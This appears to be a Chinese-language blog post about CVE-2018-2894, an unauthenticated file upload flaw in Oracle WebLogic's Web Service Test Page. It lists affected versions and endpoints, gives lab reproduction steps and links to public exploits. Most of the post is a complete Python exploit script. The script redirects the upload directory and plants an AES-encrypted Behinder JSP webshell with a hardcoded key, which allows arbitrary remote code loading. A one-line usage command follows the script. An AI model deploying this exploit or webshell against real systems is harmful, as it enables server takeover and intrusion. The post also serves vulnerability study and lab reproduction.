Weblogic漏洞-未授权任意文件上传

CVE-2018-2894

WebLogic未授权任意文件上传

在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp文件,进而获取服务器权限。

影响范围

1
2
3
4
5
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

影响页面

1
2
3
4
5
6
7
8
该漏洞的影响模块为web服务测试页,在默认情况下不启用。

/ws_utc/config.do
/ws_utc/begin.do

通过测试在10.3.6版本上未发现该功能

登录控制台 -> base_domain -> 高级 -> 勾选启用Web服务测试页 -> 保存

漏洞复现

/root/Oracle/Middleware/user_projects/domains/base_domain

https://vulhub.org/#/environments/weblogic/CVE-2018-2894/

https://blog.riskivy.com/weblogic-cve-2018-2894/

image-20230406191538491

查看账号密码

image-20230406193045875

进行登入

登录控制台 -> base_domain -> 高级 -> 勾选启用Web服务测试页 -> 保存

漏洞利用

https://github.com/jas502n/CVE-2018-2894

https://github.com/LandGrey/CVE-2018-2894

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey
# Modify By mingy

import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET


def get_current_work_path(host):
geturl = f"{host}/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit(f"[-] {host} don't exists CVE-2018-2894")
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content.decode():
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
values.extend(
sub.text
for sub in e
if e.tag == "parameter" and sub.tag == "defaultValue"
)
except requests.ConnectionError:
exit(f"[-] Cannot connect url: {geturl}")
if values:
return values[0]
print("[-] Cannot get current work path\n")
exit(request.content)


def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += f"/{domain_name}{works}"
else:
current_work_home = origin_work_path
print(f"[*] cannot handle current work home dir: {current_work_home}")
return current_work_home


def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(f"{host}/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content.decode():
return True
print("[-] Change New Upload Path failed")
exit(request.content)


def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("test.jsp", upload_content)
}

request = requests.post(host + uri, files=files)
response = request.text
if match := re.findall("<id>(.*?)</id>", response):
tid = match[-1]
shell_path = f"{host}/ws_utc/css/config/keystore/{str(tid)}_test.jsp"
if "test" in requests.get(shell_path, headers=headers).content.decode():
print(f"[+] {host} exists CVE-2018-2894")
print(f"[+] Check URL: {shell_path} ")
else:
print(f"[-] {host} don't exists CVE-2018-2894")
else:
print(f"[-] {host} don't exists CVE-2018-2894")


if __name__ == "__main__":
start = time.time()
password = "test"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")

# write into behinder default jsp webshell
upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }

if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target

target = target.rstrip('/')
if "://" not in target:
target = f"http://{target}"
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()
1
python3 CVE-2018-2894.py -t http://target-ip:7001

参考

https://blog.riskivy.com/weblogic-cve-2018-2894
https://www.freebuf.com/vuls/178510.html
https://www.jianshu.com/p/0b0471aa9bcb
https://github.com/111ddea/cve-2018-2894
https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
https://blog.riskivy.com/weblogic-cve-2018-2894/